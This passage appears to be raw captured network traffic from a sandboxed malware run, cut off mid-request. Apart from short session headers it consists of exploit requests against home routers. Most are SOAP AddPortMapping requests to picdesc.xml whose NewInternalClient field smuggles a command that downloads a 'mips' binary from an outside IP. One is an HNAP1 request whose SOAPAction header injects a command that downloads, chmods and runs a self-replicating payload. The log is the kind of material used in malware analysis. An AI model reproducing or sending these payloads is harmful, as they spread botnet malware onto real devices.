2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:49.952491045 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:54.112447977 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:02.304430008 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:18.432465076 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:53:50.432482958 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.13	44664	122.233.179.125	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.176177979 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.13	45354	154.214.115.248	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:46.201656103 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 